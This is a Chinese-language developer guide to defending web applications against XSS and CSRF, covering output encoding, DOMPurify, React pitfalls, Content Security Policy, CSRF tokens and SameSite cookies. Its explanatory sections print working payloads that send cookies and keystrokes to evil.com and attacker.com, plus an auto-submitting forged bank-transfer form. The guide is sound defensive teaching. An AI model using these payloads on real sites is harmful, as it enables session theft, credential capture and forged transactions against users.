正在加载,请稍候…

XSS 与 CSRF 防护:开发者完整 Web 安全指南

深入讲解跨站脚本攻击(XSS)和跨站请求伪造(CSRF)的攻击机制、真实案例、内容安全策略、SameSite Cookie 及框架特定防御措施。

XSS 与 CSRF 防护:开发者完整 Web 安全指南

为什么 XSS 和 CSRF 仍然主导漏洞报告

尽管 XSS 和 CSRF 是存在数十年的攻击类别,但它们仍然位列 OWASP Top 10,原因很简单:攻击面随着应用的增长而扩大。每一个新的输入字段、每一个第三方脚本、每一个改变状态的表单都可能成为攻击向量。

现代框架自动缓解了许多情况——React 默认转义 JSX,Angular 净化模板。但“默认基本安全”并不等同于“安全”。理解攻击机制有助于你识别那些绕过框架自动保护的情况。

XSS 与 CSRF 防护:开发者完整 Web 安全指南 插图

跨站脚本攻击(XSS)详解

XSS 发生在攻击者向其他用户查看的页面注入恶意脚本时。浏览器在合法站点的上下文中执行该脚本,使攻击者能够访问 cookie、会话令牌和页面内容。

三种类型的 XSS

反射型 XSS——payload 在 URL 中,在响应中反射回来:

恶意 URL: https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

服务器响应(存在漏洞):
<p>Results for: <script>document.location='https://evil.com/steal?c='+document.cookie</script></p>

受害者点击带有此 URL 的链接 → 浏览器执行脚本 → cookie 发送给攻击者。

存储型 XSS——payload 持久化在数据库中:

攻击者发布评论:
"Great article! <script>fetch('https://evil.com/'+document.cookie)</script>"

服务器存储该评论。当其他用户加载页面时,脚本对所有用户执行。
这更危险——每次页面浏览都是一次攻击。

基于 DOM 的 XSS——不涉及服务器;JavaScript 从攻击者控制的源读取数据:

// 存在漏洞的代码
const name = new URLSearchParams(window.location.search).get('name')
document.getElementById('greeting').innerHTML = 'Hello, ' + name
// URL: /page?name=<img src=x onerror="alert(document.cookie)">

XSS 与 CSRF 防护:开发者完整 Web 安全指南 插图

攻击者利用 XSS 做什么

// 会话劫持
fetch('https://attacker.com/steal?token=' + document.cookie)

// 凭证窃取——注入虚假登录表单
document.body.innerHTML = '<div style="..."><form action="https://attacker.com/collect">...'

// 键盘记录
document.addEventListener('keypress', e => {
  fetch('https://attacker.com/log?k=' + e.key)
})

// 挖矿、广告欺诈、点击劫持……

XSS 防护

1. 输出编码——主要防御手段:

// 绝对不要这样做:
element.innerHTML = userInput

// 对于纯文本,始终使用 textContent:
element.textContent = userInput

// 对于 HTML 输出,使用净化库:
import DOMPurify from 'dompurify'
element.innerHTML = DOMPurify.sanitize(userInput)
// DOMPurify 允许安全的 HTML(粗体、链接)并移除脚本

// 服务端(Node.js):
import { escape } from 'html-escaper'
const safeOutput = escape(userInput)
// 转换:< → &lt;  > → &gt;  & → &amp;  " → &quot;

2. React 特定注意事项:

// React 自动转义 JSX 表达式——这是安全的:
function UserName({ name }: { name: string }) {
  return <p>Hello, {name}</p> // 自动转义
}

// dangerouslySetInnerHTML 绕过转义——先净化:
function RichContent({ html }: { html: string }) {
  // ❌ 未经净化绝对不要这样做:
  return <div dangerouslySetInnerHTML={{ __html: html }} />

  // ✅ 使用 DOMPurify 净化:
  const cleanHtml = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['p', 'strong', 'em', 'a', 'ul', 'li', 'code'],
    ALLOWED_ATTR: ['href', 'target', 'rel'],
  })
  return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />
}

// href 属性需要特别小心:
// ❌ javascript: URL 绕过 React 的转义
const url = 'javascript:alert(1)'
<a href={url}>Click</a> // React 原样渲染!

// ✅ 验证 URL 协议:
function SafeLink({ href, children }: { href: string, children: React.ReactNode }) {
  const safeHref = /^https?:///.test(href) ? href : '#'
  return <a href={safeHref} rel="noopener noreferrer">{children}</a>
}

3. 内容安全策略(CSP):

CSP 是一种浏览器安全层,限制页面可以加载哪些资源:

# HTTP 头:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self'; img-src 'self' data: https://cdn.example.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'

指令详解:

  • default-src 'self':默认只从同源加载资源
  • script-src 'self' 'nonce-{random}':脚本仅来自同源 + 带有匹配 nonce 的内联脚本
  • frame-ancestors 'none':防止点击劫持(替代 X-Frame-Options)

基于 nonce 的 CSP 用于内联脚本:

// 服务器为每个请求生成随机 nonce
const nonce = crypto.randomBytes(16).toString('base64')

// 设置头
res.setHeader('Content-Security-Policy', 
  `script-src 'self' 'nonce-${nonce}'; style-src 'self' 'nonce-${nonce}'`
)

// 为内联脚本添加 nonce
res.send(`<script nonce="${nonce}">
  // 此脚本运行,因为它有匹配的 nonce
  initApp()
</script>`)

// 没有 nonce 的脚本会被浏览器阻止

Next.js CSP 配置:

// middleware.ts
import { NextResponse } from 'next/server'

export function middleware(request: NextRequest) {
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64')
  
  const csp = `
    default-src 'self';
    script-src 'self' 'nonce-${nonce}' 'strict-dynamic';
    style-src 'self' 'nonce-${nonce}';
    img-src 'self' blob: data:;
    connect-src 'self';
    font-src 'self';
    object-src 'none';
    base-uri 'self';
    form-action 'self';
    frame-ancestors 'none';
    upgrade-insecure-requests;
  `.replace(/\s{2,}/g, ' ').trim()

  const response = NextResponse.next()
  response.headers.set('Content-Security-Policy', csp)
  return response
}

XSS 与 CSRF 防护:开发者完整 Web 安全指南 插图

跨站请求伪造(CSRF)

CSRF 诱使已认证用户的浏览器向另一个站点发起请求。浏览器会自动包含 cookie,因此请求到达服务器时看起来是合法的。

攻击场景

<!-- 攻击者的页面:evil.com -->
<!-- 受害者已登录 bank.com -->
<form action="https://bank.com/transfer" method="POST" id="hiddenForm">
  <input type="hidden" name="to" value="attacker-account" />
  <input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('hiddenForm').submit()</script>
<!-- 浏览器发送请求,附带受害者的 bank.com cookie -->

CSRF 防护方法

1. CSRF 令牌(同步器令牌模式):

// 服务器为每个会话生成并存储 CSRF 令牌
import crypto from 'crypto'

function generateCsrfToken(): string {
  return crypto.randomBytes(32).toString('hex')
}

// 在每个表单响应中包含
app.get('/transfer', (req, res) => {
  const csrfToken = generateCsrfToken()
  req.session.csrfToken = csrfToken
  
  res.render('transfer', { csrfToken })
})

// HTML 表单包含令牌
// <input type="hidden" name="_csrf" value="{{csrfToken}}">

// 在 POST 时验证
app.post('/transfer', (req, res) => {
  const { _csrf, amount, to } = req.body
  
  if (_csrf !== req.session.csrfToken) {
    return res.status(403).json({ error: 'Invalid CSRF token' })
  }
  
  // 处理转账……
})

2. SameSite Cookie(现代防御):

// Set-Cookie: sessionId=abc123; SameSite=Strict; Secure; HttpOnly
// SameSite=Strict: 任何跨站请求都不发送 cookie
// SameSite=Lax: 跨站顶级 GET 请求发送,其他站点的 POST/PUT 不发送

res.cookie('sessionId', token, {
  httpOnly: true,      // 不可通过 JavaScript 访问
  secure: true,        // 仅 HTTPS
  sameSite: 'strict',  // 无跨站请求
  maxAge: 7 * 24 * 60 * 60 * 1000, // 7 天
})

// 对于 API,推荐 SameSite=Lax + 验证 Origin 头

3. 双重提交 Cookie:

// 无状态 CSRF 保护,适用于 API
// 1. 服务器设置 CSRF cookie(非 HttpOnly,以便 JS 可读)
// 2. 客户端读取 cookie,将其包含在请求头中
// 3. 服务器验证 cookie 值与头值匹配

// 客户端:
function getCookie(name: string): string | null {
  const match = document.cookie.match(new RegExp('(^| )' + name + '=([^;]+)'))
  return match ? match[2] : null
}

// 添加到所有改变状态的请求:
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': getCookie('csrf-token') ?? '',
  },
  body: JSON.stringify({ amount, to }),
})

// 服务器验证:
app.post('/api/transfer', (req, res) => {
  const cookieToken = req.cookies['csrf-token']
  const headerToken = req.headers['x-csrf-token']
  
  if (!cookieToken || cookieToken !== headerToken) {
    return res.status(403).json({ error: 'CSRF validation failed' })
  }
  // 继续……
})

4. Origin/Referer 头验证:

// 简单的 API CSRF 检查
function validateOrigin(req: Request): boolean {
  const origin = req.headers.origin || req.headers.referer
  if (!origin) return false // 拒绝没有 origin 的请求
  
  const allowedOrigins = ['https://example.com', 'https://app.example.com']
  return allowedOrigins.some(allowed => origin.startsWith(allowed))
}

app.post('/api/*', (req, res, next) => {
  if (!validateOrigin(req)) {
    return res.status(403).json({ error: 'Origin not allowed' })
  }
  next()
})

防御清单

XSS 防御:
□ 对用户数据使用 textContent 而非 innerHTML
□ 在渲染前使用 DOMPurify 净化 HTML
□ 实施 CSP 头(至少:default-src 'self')
□ 在渲染 href 属性前验证 URL 协议
□ 绝不对用户输入使用 eval() 或 new Function()
□ 对会话 cookie 设置 HttpOnly(防止 JS 访问)

CSRF 防御:
□ 对会话 cookie 设置 SameSite=Strict 或 SameSite=Lax
□ 在所有改变状态的表单中使用 CSRF 令牌
□ 对 API 端点验证 Origin/Referer
□ 使用 POST/PUT/DELETE 进行状态更改(绝不用 GET)

通用:
□ X-Content-Type-Options: nosniff
□ X-Frame-Options: DENY(或 CSP frame-ancestors)
□ Strict-Transport-Security: max-age=31536000
□ Referrer-Policy: strict-origin-when-cross-origin

理解攻击机制——而不仅仅是记住防御措施——才能进行有效的安全代码审查。当你确切知道攻击者如何利用搜索框中的反射型 XSS 时,你编写的代码与仅仅“遵循安全最佳实践”时截然不同。

→ 使用 HTML Entities 工具安全编码 HTML 实体以防止 XSS。